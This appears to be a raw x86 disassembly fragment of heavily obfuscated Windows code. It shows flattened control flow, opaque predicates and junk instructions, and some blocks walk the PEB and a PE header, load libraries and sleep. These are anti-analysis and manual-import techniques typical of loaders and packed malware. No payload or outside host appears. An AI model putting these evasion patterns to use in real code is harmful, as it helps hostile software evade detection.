or ecx, eax
mov eax, ecx
not eax
and ecx, 0xb26e6f04
and eax, 0x4d9190fb
or ecx, eax
mov eax, ecx
mov edx, ecx
xor ecx, 0x2973b8be
xor eax, 0xd68c4740
xor edx, 0xd68c4741
and edx, eax
and ecx, 0xfffffffe
and eax, 1
or eax, ecx
or eax, edx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x36a0224
and eax, 0x24103dc2
and ecx, 0xd885c019
or edx, ecx
xor edx, 0x36a0224
or eax, edx
mov ecx, eax
not ecx
and eax, 0xbc21285d
and ecx, 0x43ded7a2
or eax, ecx
xor eax, 0x67ceea60
sete al
setne cl
cmp dword [0x4e4170], 0xa
setl ch
mov ah, ch
xor cl, ch
or ah, al
xor cl, 1
xor al, ch
xor ah, 1
or ah, cl
mov dl, ah
xor dl, 1
mov ecx, edx
and cl, ah
xor cl, 1
mov ch, cl
or cl, ah
xor ch, ah
xor cl, 1
mov ah, dl
or cl, ch
xor ah, al
xor cl, al
or al, dl
xor al, 1
or al, ah
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0x2436dfdf
cmovne edx, esi
test al, 1
mov eax, 0x2436dfdf
jmp 0x40cb0d
cmp eax, 0x6204e7b5
jle 0x403f21
cmp eax, 0x635055ac
jle 0x40521a
cmp eax, 0x635055ad
je 0x407d32
cmp eax, 0x635201c7
je 0x407d45
cmp eax, 0x6497bdea
jne 0x401710
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1c]
mov eax, 0x394035c4
jmp 0x401710
cmp eax, 0xe51f8816
jle 0x404005
cmp eax, 0xe6c18517
jle 0x405249
cmp eax, 0xe6c18518
je 0x407d4f
cmp eax, 0xe89e793d
je 0x407e11
cmp eax, 0xe9f1fc78
jne 0x401710
mov eax, dword [ebp - 0x4c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x64]
mov dword [ecx], eax
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0xb4]
mov eax, dword [ebp - 0xb0]
mov eax, 0x1c8d5c47
jmp 0x401710
cmp eax, 0x1169ab53
jle 0x404030
cmp eax, 0x11e47799
jle 0x405274
cmp eax, 0x11e4779a
je 0x407e1b
cmp eax, 0x1205efd0
je 0x407e30
cmp eax, 0x1322f195
jne 0x401710
sub esi, 0xb7
add eax, 0x78
and esi, 0x86
rol ebx, 0xb9
rcr edi, 0xd7
or esi, 0x33
not ebx
dec edx
sbb edi, 0x79
sbb edx, 0xfc
rcr esi, 0xdf
neg eax
rcl edx, 0x6d
ror eax, 0xbb
inc ebx
add esi, 0xf1
rcl esi, 3
not ebx
inc eax
neg eax
inc ebx
sbb ebx, 0x79
or edi, 0xc
dec esi
not edx
not esi
dec edx
not edi
sub esi, 0xcd
rol esi, 0x92
inc eax
dec eax
bswap eax
not edi
imul edx
inc edi
sbb eax, 0x7b
not eax
add edi, 0xaf
rol edx, 0xcb
mov edx, 4
mov edx, 0x31
rcl esi, 7
add edx, 0x33
and ebx, 0x5d
mov eax, 0xf8
or eax, 0xcd
rcr edi, 0xaf
sub eax, 0x40
neg edx
ror ebx, 0x6b
dec ebx
bswap eax
imul esi
sub edx, 0x75
add esi, 0x91
bswap ebx
neg ebx
inc esi
mov ebx, 0x32
sub esi, 0x64
inc eax
neg esi
imul esi
rcl edx, 0x59
dec edi
sub ebx, 0x56
inc edi
sub eax, 0x5f
bswap esi
not esi
neg edi
bswap edi
ror edi, 8
neg ebx
rol eax, 0x64
imul edx
inc edi
rcl eax, 0xcf
imul esi
mov eax, 7
inc esi
dec ebx
sub edi, 0x6f
dec edi
rol edx, 0xaa
neg edi
neg ebx
bswap edx
dec ebx
not edx
or ebx, 0xc9
ror edx, 0x28
not edx
neg ebx
ror edx, 0x1b
not esi
rcr edi, 0xab
or eax, 0xb6
imul esi
neg edi
or esi, 0xed
not edx
imul edi
neg esi
inc esi
rol ebx, 0x90
imul edi
bswap edx
sbb eax, 0xeb
not esi
sub eax, 0
sbb edi, 0xb3
imul edi
ror esi, 0x8c
sub edi, 0xb5
neg esi
mov eax, 0xdb
dec eax
sbb edi, 0x80
bswap eax
bswap esi
not eax
bswap esi
imul edx
imul eax
inc esi
bswap esi
imul edx
and edi, 0xa0
sbb edx, 0x33
rcl edi, 0x79
bswap edx
dec edi
add ebx, 0x7c
not esi
and edi, 0x45
sbb edx, 0x23
bswap edx
bswap edi
bswap ebx
or esi, 0x9a
not ebx
ror ebx, 0xe
bswap ebx
dec eax
bswap edx
not esi
and edx, 0xa3
inc esi
mov ecx, dword [ebp - 0x24]
mov edi, 0x73caf7d
mov dword [ecx], eax
mov eax, dword [ebp - 0x58]
mov eax, dword fs:[0x30]
mov ecx, dword [ebp - 0x58]
mov dword [ecx], eax
mov eax, dword [ebp - 0x88]
mov eax, dword [ebp - 0x58]
mov eax, dword [eax]
mov eax, dword [eax + 0xc]
mov ecx, dword [ebp - 0x88]
mov dword [ecx], eax
mov eax, dword [0x4e4174]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xc3ec2555
mov edx, ecx
and edx, 0x2200004
and eax, ecx
not ecx
mov esi, ecx
and esi, 0xc1cc2551
or edx, esi
mov esi, 0xab688abe
xor edx, 0x2200004
or eax, edx
mov edx, eax
not edx
and eax, 0xc3ec2554
and edx, 0x3c13daab
or eax, edx
mov edx, eax
not edx
and eax, 0x5d53ca85
and edx, 0xa2ac357a
or eax, edx
xor eax, 0x5d53ca85
or eax, ecx
xor eax, 0xffffffff
sete dl
setne al
cmp dword [0x4e4170], 0xa
setge ah
mov cl, ah
xor cl, al
or al, ah
or ah, dl
and cl, dl
xor al, 1
xor cl, 1
mov edx, ecx
or cl, ah
xor dl, ah
xor cl, 1
or cl, dl
mov edx, 0x73caf7d
xor cl, al
mov ah, cl
test cl, 1
not ah
cmovne edx, esi
test ah, al
cmove edx, edi
test cl, 1
cmovne edx, esi
test ah, al
mov eax, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x88]
cmovne edx, esi
mov eax, dword [eax]
add eax, 0x14
mov dword [ebp - 0x10c], eax
mov eax, edx
jmp 0x401710
cmp eax, 0x94c8bfa5
jle 0x404193
cmp eax, 0x95fa3f14
jle 0x405297
cmp eax, 0x95fa3f15
je 0x407e49
cmp eax, 0x97129095
je 0x407e56
cmp eax, 0x9771f7e1
jne 0x401710
mov eax, dword [ebp - 0x3c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xb8]
vmovsd xmm0, qword [ecx]
vmovsd qword [eax], xmm0
mov eax, 0x1c29d9f
jmp 0x401710
cmp eax, 0x5125df43
jle 0x40431a
cmp eax, 0x51e21686
jle 0x4052b7
cmp eax, 0x51e21687
je 0x407e60
cmp eax, 0x530f77af
je 0x407e6a
cmp eax, 0x5388bd27
jne 0x401710
mov eax, dword [0x4e4174]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
xor edx, 0x574759db
mov eax, ecx
and eax, 0x14450981
and edx, ecx
not ecx
and ecx, 0x4302505a
or eax, ecx
xor eax, 0x14450981
or eax, edx
not edx
and edx, 0xa8b8a624
and eax, 0x574759db
or eax, edx
mov esi, eax
not esi
mov edx, eax
and edx, 1
and eax, 0xf988f1d4
mov ecx, esi
and esi, 0xfffffffe
or ecx, 1
or edx, esi
mov esi, ecx
and esi, 0x6770e2b
or eax, esi
mov esi, edx
not esi
and edx, 0xf988f1d4
or ecx, esi
and esi, 0x6770e2b
or edx, esi
not ecx
mov esi, 0xc74d9073
xor edx, eax
or ecx, edx
mov edx, ecx
andn eax, ecx, ecx
not ecx
and edx, 0x7a6ea172
and ecx, 0x85915e8d
or edx, ecx
xor edx, 0x7a6ea172
or eax, edx
mov ecx, eax
not ecx
and eax, 0x707442a0
mov edx, ecx
and edx, 0x8f8bbd5f
or eax, edx
xor eax, 0x8f8bbd5f
xor ecx, eax
test ecx, eax
sete al
cmp dword [0x4e4170], 0xa
setl cl
xor cl, al
xor cl, 1
and al, cl
xor al, 1
mov edx, eax
xor al, cl
or dl, cl
mov ecx, edx
xor cl, al
mov ecx, 0xe09d1782
cmovne ecx, esi
test al, al
mov esi, 0xe09d1782
jmp 0x40d236
cmp eax, 0xd914f376
jle 0x40453b
cmp eax, 0xd9ce5f8c
jle 0x4053d9
cmp eax, 0xd9ce5f8d
je 0x407e74
cmp eax, 0xdaa53de6
je 0x407f95
cmp eax, 0xdad0753c
jne 0x401710
mov eax, 0x6fcaae95
jmp 0x401710
cmp eax, 0x291e2ed0
jle 0x404566
cmp eax, 0x2a153ed0
jle 0x405405
cmp eax, 0x2a153ed1
je 0x407fc3
cmp eax, 0x2cafcd24
je 0x40811e
cmp eax, 0x2e89086c
jne 0x401710
push 0x64
vzeroupper
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, 0x9771f7e1
jmp 0x401710
cmp eax, 0xb2371c76
jle 0x40459d
cmp eax, 0xb35cbf81
jle 0x405428
cmp eax, 0xb35cbf82
je 0x408344
cmp eax, 0xb43c1218
je 0x40834e
cmp eax, 0xb4ac9cac
jne 0x401710
mov eax, dword [ebp - 0x40]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xa0]
mov dword [ecx], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x40]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xa0]
mov ecx, dword [ecx]
add eax, dword [ecx + 0x3c]
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x1c]
mov eax, 0xc5346a89
jmp 0x401710
cmp eax, 0x72670727
jle 0x4048ed
cmp eax, 0x75525766
jle 0x405747
cmp eax, 0x75525767
je 0x408358
cmp eax, 0x756a5697
je 0x408371
cmp eax, 0x772ddbd0
jne 0x401710
mov ecx, dword [0x4e4174]
mov esi, 0xbe5a437b
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
and eax, 0x89cd207c
mov edx, ecx
and edx, 0x7632df83
or eax, edx
mov edx, eax
not edx
and eax, 0x8d1441f6
and edx, 0x72ebbe09
or eax, edx
xor eax, 0x4d9618b
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xf73c2450
and ecx, 0x8c3dbaf
or eax, ecx
xor eax, 0xf73c2450
setne ch
sete dl
cmp dword [0x4e4170], 0xa
mov al, ch
setge ah
setl cl
xor al, ah
mov dh, ah
and ch, cl
and ah, dl
or cl, dl
and al, dl
or dh, dl
or ah, ch
xor cl, 1
xor al, 1
or cl, ah
mov ebx, eax
or al, dh
mov ch, cl
xor bl, dh
xor al, 1
or al, bl
mov ah, al
and ch, al
xor ah, 1
mov dl, ah
xor ah, cl
xor cl, 1
and dl, cl
or cl, al
xor cl, 1
or dl, ch
or cl, ah
mov eax, 0x93c1a46a
mov ch, cl
xor ch, dl
test cl, 1
cmovne eax, esi
test dl, 1
mov edx, 0x93c1a46a
cmove eax, esi
test ch, 1
cmove eax, edx
jmp 0x401710
cmp eax, 0xfc0a4516
jle 0x404931
cmp eax, 0x54b75c
jle 0x405767
cmp eax, 0x54b75d
je 0x408454
cmp eax, 0x1c29d9f
je 0x40846d
cmp eax, 0x1e8160e
jne 0x401710
mov eax, dword [ebp - 0x120]
mov eax, dword [eax]
mov dword [ebp - 0xe8], eax
mov eax, 0xa838066f
jmp 0x401710
cmp eax, 0xbe1e388
jle 0x40495f
cmp eax, 0xbf97b82
jle 0x40579b
cmp eax, 0xbf97b83
je 0x40866a
cmp eax, 0xc13c3be
je 0x408674
cmp eax, 0xc4d637e
jne 0x401710
mov eax, dword [0x4e4174]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
and edx, 0x2c1860
and ecx, 0x62d1c392
and eax, 0x9d02240d
or edx, eax
xor edx, 0x2c1860
or ecx, edx
mov eax, ecx
not eax
and ecx, 0xe3977ae
and eax, 0xf1c68851
or ecx, eax
mov edx, ecx
mov eax, ecx
xor ecx, 0x10143c68
xor eax, 0x6ce8b43c
xor edx, 0x93174bc3
mov edi, ecx
and edi, eax
and ecx, edx
and edx, 0x285c0bb4
and eax, 0xd7a3f44a
mov esi, edi
not esi
and edi, 0xad38c0fb
or eax, edx
mov ebx, esi
and ebx, 0x52c73f04
xor eax, 0xd7a3f44a
or edi, ebx
mov ebx, ecx
not ebx
and ecx, 0xad38c0fb
or esi, ebx
and ebx, 0x52c73f04
or ecx, ebx
not esi
xor ecx, edi
or esi, ecx
mov ecx, esi
not ecx
and esi, 0xb31fc39c
and ecx, 0x4ce03c63
or esi, ecx
xor esi, 0x301cb436
or eax, esi
mov esi, 0x560d4a44
mov ecx, eax
not ecx
and eax, 0x29578e97
and ecx, 0xd6a87168
or eax, ecx
mov ecx, eax
xor ecx, 0x20148285
xor eax, 0x12002020
and ecx, 0xe4bcd3cd
and eax, 0x1b432c32
or eax, ecx
xor eax, 0x1b432c32
sete dl
setne ah
cmp dword [0x4e4170], 0xa
setge al
setl ch
mov cl, al
and ch, ah
xor cl, ah
mov ah, al
xor ah, dl
and ah, al
and al, dl
mov dl, ah
or al, ch
xor ah, al
xor dl, 1
xor al, 1
or al, dl
mov edx, ecx
xor al, 1
or al, ah
xor al, 1
xor dl, al
or al, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x25f8f75
cmovne ecx, esi
test al, 1
mov eax, 0x25f8f75
jmp 0x405993
cmp eax, 0x8f792c49
jle 0x405854
cmp eax, 0x8f792c4a
je 0x408804
cmp eax, 0x90fa0115
je 0x40881b
cmp eax, 0x9196e279
jne 0x401710
mov eax, dword [0x4e4174]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
and edx, 0xb2cd08f2
mov esi, eax
and esi, 0x4d32f70c
and eax, 0x64c24bba
or edx, esi
mov esi, edx
xor esi, 0xa28c08b0
xor edx, 0x4d32f70d
mov edi, edx
and edi, 0x5443a04b
and esi, 0xabbc5fb4
or esi, edi
mov edi, ecx
xor edi, 0xfffffffe
and edi, ecx
and ecx, 0x9b3db445
mov ebx, edi
not ebx
and edi, 0xabbc5fb4
or eax, ecx
or edx, ebx
and ebx, 0x5443a04b
or edi, ebx
not edx
xor edi, esi
or edx, edi
mov esi, edx
not esi
and edx, 0x64c24bba
mov edi, esi
and edi, 0x9b3db445
or edx, edi
xor eax, edx
xor esi, eax
test esi, eax
mov esi, 0x54cfa6a
sete dl
setne ah
cmp dword [0x4e4170], 0xa
setge ch
setl al
mov cl, ch
xor cl, ah
and ah, cl
and cl, ch
xor ah, 1
xor cl, 1
mov ch, ah
xor ch, cl
or cl, ah
mov ah, al
xor al, dl
or ah, dl
xor al, 1
xor cl, 1
mov edx, eax
or al, ah
or cl, ch
xor dl, ah
xor al, 1
mov ah, cl
or al, dl
xor ah, 1
mov edx, eax
and cl, al
xor dl, 1
and dl, ah
or ah, al
or cl, dl
mov ch, ah
xor ch, cl
test ah, 1
mov eax, 0x59aa2ae
cmovne eax, esi
test cl, 1
cmove eax, esi
test ch, 1
mov ecx, 0x59aa2ae
cmove eax, ecx
jmp 0x401710
cmp eax, 0x49233b46
jle 0x405874
cmp eax, 0x49233b47
je 0x408825
cmp eax, 0x49e4cc1c
je 0x4089d4
cmp eax, 0x4b7c9e08
jne 0x401710
mov eax, dword [ebp - 0x38]
mov eax, dword [eax]
mov dword [ebp - 0x1d8], eax
mov eax, 0xa698dca6
jmp 0x401710
cmp eax, 0xd4bc46ac
jle 0x40599b
cmp eax, 0xd4bc46ad
je 0x4089e1
cmp eax, 0xd596344e
je 0x408a91
cmp eax, 0xd6bc764a
jne 0x401710
mov eax, dword [ebp - 0xac]
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov dword [ebp - 0x148], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov dword [ebp - 0x14c], eax
mov eax, 0x833e55ec
jmp 0x401710
cmp eax, 0x23fb31bc
jle 0x4059bb
cmp eax, 0x23fb31bd
je 0x408a9b
cmp eax, 0x2436dfdf
je 0x408aa5
cmp eax, 0x2501afeb
jne 0x401710
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0xfc]
mov dword [eax], ecx
mov ecx, dword [0x4e4174]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0xe662bf22
and eax, 0x1a008060
mov edx, ecx
and edx, 0x199d40dd
or ecx, 0x21704401
or esi, edx
and ecx, 0xe1f24e89
mov edx, esi
xor esi, 0x1104001
xor edx, 0x4003102
or eax, ecx
or esi, 0xc0820a88
and edx, 0x40d3116
and esi, 0xe1f24e89
or edx, esi
xor eax, edx
mov ecx, eax
not ecx
and eax, 0x64af57e8
and ecx, 0x9b50a817
or eax, ecx
mov ecx, eax
mov edx, eax
xor edx, 0x4048800
xor ecx, 0x41d222ff
xor eax, 0x2595e495
and eax, ecx
and edx, 0x496a8b1
and ecx, 0xfb69574e
or ecx, edx
mov edx, ecx
mov edi, ecx
xor edx, 0xfb69574e
xor edi, 0x60d16edb
xor ecx, 0x86a080
and edi, edx
or edx, 1
and ecx, 0xf9e6e3c6
mov esi, edi
not esi
and edi, 0x10c13daf
mov ebx, esi
and ebx, 0xef3ec250
or edi, ebx
mov ebx, eax
not ebx
and eax, 0x10c13daf
or esi, ebx
and ebx, 0xef3ec250
or eax, ebx
not esi
xor eax, edi
or esi, eax
mov eax, esi
not eax
and esi, 0x6447c66b
and eax, 0x9bb83994
or esi, eax
mov eax, esi
not eax
and esi, 0xf9e6e3c7
mov edi, eax
or eax, edx
and edi, 0x6191c38
and edx, 0x6191c38
or esi, edi
or ecx, edx
not eax
xor ecx, esi
or eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x7e2546ed
and eax, 0xc1501002
mov edx, ecx
and edx, 0x81dab912
or ecx, 0x3c0803e0
or esi, edx
and ecx, 0x3e8e8ff4
mov edx, esi
xor esi, 0x80100
xor edx, 0x214009
or eax, ecx
or esi, 0x2868c14
and edx, 0x216009
and esi, 0x3e8e8ff4
or edx, esi
mov esi, 0xfbdb97e2
xor eax, edx
mov ecx, eax
not ecx
and eax, 0x3c2963e9
and ecx, 0xc3d69c16
or eax, ecx
setne ah
sete dl
cmp dword [0x4e4170], 0xa
mov dh, ah
setl al
setge ch
inc dh
and ch, dh
xor dh, al
and dl, al
mov cl, al
xor al, ah
or dl, dh
and cl, ah
mov ah, al
or al, dl
or cl, ch
xor ah, dl
xor al, 1
mov edx, ecx
or al, ah
mov ah, al
xor dl, al
and al, cl
and dl, cl
not ah
xor cl, 1
and cl, ah
or al, cl
mov ecx, eax
xor cl, dl
test al, al
mov eax, 0x8092ce01
cmovne eax, esi
test dl, dl
mov edx, 0x8092ce01
jmp 0x405e0d
cmp eax, 0xaad4f064
jle 0x405a22
cmp eax, 0xaad4f065
je 0x408bb4
cmp eax, 0xab688abe
je 0x408d33
cmp eax, 0xabb0bab2
jne 0x401710
mov eax, dword [ebp - 0x34]
mov eax, 0xe129d2a0
jmp 0x401710
cmp eax, 0x6d2b76f9
jle 0x405b3a
cmp eax, 0x6d2b76fa
je 0x408d3d
cmp eax, 0x6d941a48
je 0x408eaf
cmp eax, 0x6f3f8afd
jne 0x401710
mov eax, 0xc06086b5
jmp 0x401710
cmp eax, 0xf0b2f59e
jle 0x405e1b
cmp eax, 0xf0b2f59f
je 0x408f88
cmp eax, 0xf0e3f5ac
je 0x4091dc
cmp eax, 0xf150d94a
jne 0x401710
mov eax, dword [ebp - 0xb0]
mov ecx, dword [ebp - 0x158]
mov dword [eax], ecx
mov eax, dword [ebp - 0xb4]
mov eax, 0x666d7073
jmp 0x401710
cmp eax, 0x1a1a2c17
jle 0x405e3e
cmp eax, 0x1a1a2c18
je 0x4091e6
cmp eax, 0x1b16f566
je 0x409207
cmp eax, 0x1b52f0db
jne 0x401710
mov eax, dword [ebp - 0x6c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x44]
mov ecx, dword [ecx]
lea ecx, [ecx + ecx*4]
lea eax, [eax + ecx*4 + 0x10]
mov dword [ebp - 0x184], eax
mov eax, 0x4782de43
jmp 0x401710
cmp eax, 0x9d71932c
jle 0x405e5e
cmp eax, 0x9d71932d
je 0x409348
cmp eax, 0x9ee906af
je 0x40940d
cmp eax, 0x9ef2f218
jne 0x401710
mov eax, dword [ebp - 0xcc]
push dword [eax]
vzeroupper
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, dword [ebp - 0x80]
mov dword [ecx], eax
mov ecx, 0x30044cc8
mov eax, dword [ebp - 0x80]
cmp dword [eax], 0
mov eax, 0x228f61f9
cmove eax, ecx
jmp 0x401710
cmp eax, 0x5c2bfc28
jle 0x405e87
cmp eax, 0x5c2bfc29
je 0x409550
cmp eax, 0x5ca84aab
je 0x40957a
cmp eax, 0x5d83775e
jne 0x401710
mov eax, 0x83b9e07b
jmp 0x401710
cmp eax, 0xe0d5b3c6
jle 0x405ebc
cmp eax, 0xe0d5b3c7
je 0x40958d
cmp eax, 0xe129d2a0
je 0x409782
cmp eax, 0xe18a871e
jne 0x401710
mov eax, 0x881820ef
jmp 0x401710
cmp eax, 0x37aa8edb
jle 0x405ef0
cmp eax, 0x37aa8edc
je 0x4098a9
cmp eax, 0x38803f6b
je 0x4098b3
cmp eax, 0x38b4fcc3
jne 0x401710
mov eax, dword [ebp - 0x1a0]
mov ecx, dword [ebp - 0x19c]
mov edx, dword [ebp - 0x198]
mov dword [ecx + eax*4], edx
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0xa4]
mov eax, 0xa0d477fe
jmp 0x401710
cmp eax, 0xbd3d9938
jle 0x405f10
cmp eax, 0xbd3d9939
je 0x4098bd
cmp eax, 0xbe5a437b
je 0x4098c7
cmp eax, 0xc06086b5
jne 0x401710
mov eax, dword [ebp - 0x64]
mov ecx, dword [0x4e4174]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0xa1ed66e0
or eax, 0xdc57af4
mov esi, ecx
and esi, 0x5e12991f
and eax, 0xdc57af5
or edx, esi
mov esi, edx
xor esi, 0xa0280400
xor edx, 0xc001814
and edx, 0xdc57af4
and esi, 0xf23a850a
or esi, edx
xor eax, esi
mov esi, 0x635201c7
not eax
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xba707ab9
and ecx, 0x458f8546
or eax, ecx
xor eax, 0xba707ab9
setne cl
sete ah
cmp dword [0x4e4170], 0xa
setge dl
setl al
mov ch, dl
and al, cl
xor ch, ah
and ah, dl
and ch, dl
xor dl, cl
or al, ah
or dl, ch
mov ecx, edx
mov ah, dl
not cl
and cl, dl
xor cl, 1
xor ah, cl
or cl, dl
mov edx, eax
xor cl, 1
or cl, ah
xor dl, cl
or cl, al
xor cl, 1
or cl, dl
xor dl, 1
mov eax, edx
xor al, cl
test cl, 1
mov ecx, 0x2a153ed1
cmovne ecx, esi
test dl, 1
not al
cmovne ecx, esi
test al, 1
mov eax, 0x2a153ed1
jmp 0x4016fe
cmp eax, 0x7d6115bc
jle 0x406029
cmp eax, 0x7d6115bd
je 0x4098da
cmp eax, 0x7d7c11a1
je 0x4099be
cmp eax, 0x7eca043d
jne 0x401710
mov eax, 0x942913b3
jmp 0x401710
cmp eax, 0xf5a15b5d
jg 0x40606d
cmp eax, 0xf1acc219
je 0x4099d3
cmp eax, 0xf20d1f46
jne 0x40d3b1
mov eax, dword [0x4e4174]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x2042d4
mov edx, eax
and edx, 0x5982509
and eax, 0xfa479822
or ecx, edx
xor ecx, 0x2042d4
or eax, ecx
mov esi, eax
not esi
mov edx, eax
and edx, 0x919e0d96
and eax, 0x3110891
mov ecx, esi
and ecx, 0x6e61f269
or esi, 0x14623048
or edx, ecx
and esi, 0x5c66316e
mov ecx, edx
xor edx, 0x6e61f269
xor ecx, 0x919e0d96
or eax, esi
mov edi, edx
or edi, 0x48040126
mov ebx, ecx
and ebx, 0xa088c600
and edx, 0x4947ac40
and edi, 0x5c66316e
or ebx, edi
xor eax, ebx
mov esi, eax
not esi
and eax, 0x865def5a
and esi, 0x79a210a5
or eax, esi
mov esi, ecx
and esi, 0xb6b853bf
and ecx, 1
or esi, edx
mov edx, eax
xor edx, 0x22841003
xor eax, 0xcd48e6ec
xor esi, 0x4947ac41
and edx, 0x22ccd403
or ecx, esi
mov esi, eax
and esi, 0xdd332bfc
or edx, esi
mov esi, ecx
not esi
or eax, ecx
and ecx, 0xdd332bfc
and esi, 0x22ccd403
not eax
or esi, ecx
xor esi, edx
or eax, esi
mov esi, 0x29ded433
mov ecx, eax
xor ecx, 0xa26eaeee
and ecx, eax
not eax
or eax, ecx
not ecx
and ecx, 0x5d915111
and eax, 0xa26eaeee
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x346e94aa
mov edx, ecx
and edx, 0xcb916b55
or eax, edx
xor eax, 0x346e94aa
or eax, ecx
xor eax, 0xffffffff
setne dl
sete ah
cmp dword [0x4e4170], 0xa
setge ch
setl al
mov cl, ch
and al, dl
xor cl, ah
and cl, ah
and ah, ch
or al, ah
mov edx, ecx
mov ah, al
xor dl, 1
xor ah, 1
and al, dl
or dl, ah
and ah, cl
mov ecx, 0x132794be
or ah, al
mov al, dl
xor al, ah
cmovne ecx, esi
test ah, ah
mov esi, 0x132794be
jmp 0x40d236
cmp eax, 0x46fa8ad
jg 0x40608d
cmp eax, 0x25f8f75
je 0x409a95
cmp eax, 0x2dfac40
jne 0x401710
inc eax
rol edi, 0x81
not edi
bswap ebx
add eax, 0x6d
rcr ebx, 0x30
rcl ebx, 0x60
bswap edi
imul ebx
not ebx
not esi
sub edi, 0xab
dec eax
not esi
neg esi
dec edx
imul eax
sub esi, 3
inc edx
bswap ebx
add ebx, 0xd2
sbb ebx, 0x80
rol ebx, 4
imul esi
neg ebx
imul edi
dec edx
sbb eax, 0x17
or eax, 0x20
inc edx
rcr edi, 0x2c
ror eax, 0x18
imul eax
ror ebx, 0xa7
bswap eax
mov edi, 0x22
ror eax, 0xab
rol eax, 0x24
rol eax, 0xeb
dec eax
ror esi, 0x37
mov esi, 0xfe
bswap edx
sbb ebx, 0x3f
ror ebx, 0xb7
rcr esi, 0xab
neg edx
neg esi
dec edx
and edx, 0xb5
dec eax
sub edx, 0x46
sub esi, 0x4c
or ebx, 0x33
rcl eax, 0x92
sub edx, 0xde
inc edx
and edx, 0x7a
or edx, 0xba
and eax, 0x54
and edi, 0x87
add edi, 0xf4
ror edx, 0x2e
or edi, 0xf5
or eax, 0x27
rcr edx, 0x5c
rcl ebx, 0xe2
bswap esi
not esi
ror edx, 0x2c
inc eax
and esi, 0xa4
inc edx
rcr eax, 0x2e
not edx
and esi, 0xf5
add edx, 0x4e
or eax, 0xd3
sbb ebx, 0xb9
inc edi
dec ebx
add ebx, 0x9b
rcr eax, 0x95
dec edi
sub ebx, 0x3e
dec eax
neg esi
or edi, 0x66
dec edx
add edi, 0x4e
not edi
not edx
imul edx
and ebx, 0xae
sbb edi, 0x51
imul esi
ror esi, 0xf6
rcr edx, 0x6c
neg edi
rol edx, 0x1f
bswap edx
or esi, 0x36
and esi, 0x5d
neg edi
inc edx
or ebx, 0x7b
ror edi, 0xb5
neg eax
rcr eax, 0xde
neg edi
not edx
rcl edi, 0x1b
ror edi, 0xaa
rol ebx, 0x9d
rcl edi, 0x5b
neg edi
ror esi, 0x42
inc eax
mov edx, 0xa8
imul ebx
rcr edx, 0x92
mov ebx, 0xa
and eax, 9
rcr edi, 0x21
not eax
mov edi, 0x1d
not edi
rcr ebx, 0x9e
rcl edi, 0x2c
sbb eax, 0xc
rcr esi, 0x95
sub edx, 0xbc
and esi, 0xc4
rol ebx, 0x67
or edx, 0x44
rol edx, 0xba
or edi, 0xba
inc edx
add edx, 0xb5
inc edx
rol esi, 0x81
inc ebx
sub edx, 0x1c
not edx
dec edi
sbb esi, 0x8f
dec esi
neg edi
rcl ebx, 0xdf
mov esi, 0x6f
mov ecx, dword [ebp - 0x24]
mov dword [ecx], eax
mov eax, dword [ebp - 0xd0]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
mov dword [eax], 0
mov eax, 0xb35a9cf1
jmp 0x401710
cmp eax, 0x8164f959
jg 0x4061c5
cmp eax, 0x8092ce01
je 0x409a9f
cmp eax, 0x81594fae
jne 0x401710
cmp byte [ebp - 0x95], 0
mov eax, 0x5ca84aab
mov ecx, 0xee2d01a2
cmovne eax, ecx
jmp 0x401710
cmp eax, 0x3b605327
jg 0x40621a
cmp eax, 0x394035c4
je 0x409ab4
cmp eax, 0x3b3b0b07
jne 0x401710
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x178]
mov dword [eax], ecx
mov eax, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov dword [ebp - 0x17c], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
add eax, 0x18
mov dword [ebp - 0x180], eax
mov eax, 0x5c2bfc29
jmp 0x401710
cmp eax, 0xc5346a88
jg 0x406327
cmp eax, 0xc30053f3
je 0x409c6a
cmp eax, 0xc4789554
jne 0x401710
mov eax, dword [ebp - 0x54]
mov dword [eax], 0x40
mov eax, 0x37aa8edc
jmp 0x401710
cmp eax, 0x1dc16014
jg 0x40640e
cmp eax, 0x1c8d5c47
je 0x409d82
cmp eax, 0x1d5878ad
jne 0x401710
mov eax, 0xb01ed06d
jmp 0x401710
cmp eax, 0xa2115395
jg 0x406821
cmp eax, 0x9f5f338d
je 0x409d97
cmp eax, 0xa0d477fe
jne 0x401710
mov eax, dword [ebp - 0x48]
mov eax, dword [eax]
inc eax
